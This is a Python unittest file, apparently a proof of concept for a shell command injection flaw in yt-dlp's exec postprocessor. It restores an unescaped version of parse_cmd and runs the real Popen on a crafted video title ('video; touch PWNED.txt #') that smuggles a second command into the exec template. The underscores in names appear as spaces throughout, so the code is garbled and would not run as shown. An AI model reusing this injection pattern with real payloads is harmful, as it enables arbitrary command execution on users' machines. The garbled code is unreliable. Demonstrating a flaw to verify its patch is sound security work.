import unittest
import os

from yt dlp.postprocessor.exec import ExecPP
from yt dlp.YoutubeDL import YoutubeDL
from yt dlp.utils import PostProcessingError

# Import Popen to use the REAL one for the PoC (to actually create the file)
from yt dlp.utils import Popen as RealPopen

class TestDemonstrativePoC(unittest.TestCase):
  FILE NAME = "PWNED.txt"

  def setUp(self):
    # Remove the file if it exists
    if os.path.exists(self.FILE NAME):
      os.remove(self.FILE NAME)

  def test 1 demonstrate vulnerability simulated(self):
    """
    Simulates the code BEFORE the fix to show what would happen.
    """
    print("
--- TEST 1: Simulating vulnerable state ---")

    # 1. Define the vulnerable Parse Method
    def vulnerable parse cmd(self, cmd, info):
      # This mimics the code before my patch
      tmpl, tmpl dict = self. downloader.prepare outtmpl(cmd, info)
      if tmpl dict:
        return self. downloader.escape outtmpl(tmpl) % tmpl dict
      return cmd

    # 2. Patch the class temporarily
    original parse cmd = ExecPP.parse cmd
    ExecPP.parse cmd = vulnerable parse cmd

    info = {
      'id': '1234',
      # MALICIOUS TITLE:
      # 1. 'video' gets echoed
      # 2. ; separator
      # 3. touch PWNED.txt creates the file
      # 4. # comments out the rest
      'title': f'video; touch {self.FILE NAME} #',
      'ext': 'mp4',
      'filepath': 'video.mp4'
    }

    ydl = YoutubeDL({'verbose': False, 'quiet': True})

    try:
      print(f"[*] Payload Title: {info['title']}")
      print("[*] Executing: echo %(title)s")

      # Use the REAL Popen to actually execute shell commands
      import yt dlp.postprocessor.exec
      original popen ref = yt dlp.postprocessor.exec.Popen
      yt dlp.postprocessor.exec.Popen = RealPopen

      pp = ExecPP(ydl, 'echo %(title)s')
      pp.run(info)

      # Restore Popen ref
      yt dlp.postprocessor.exec.Popen = original popen ref

      # Check if file was created
      if os.path.exists(self.FILE NAME):
        print(f"[!] VULNERABILITY CONFIRMED: File '{self.FILE NAME}' was created on disk!")
      else:
        print("[?] File not created. Payload might have failed.")

    finally:
      # Restore the secure method
      ExecPP.parse cmd = original parse cmd

if  name  == ' main ':
  unittest.main()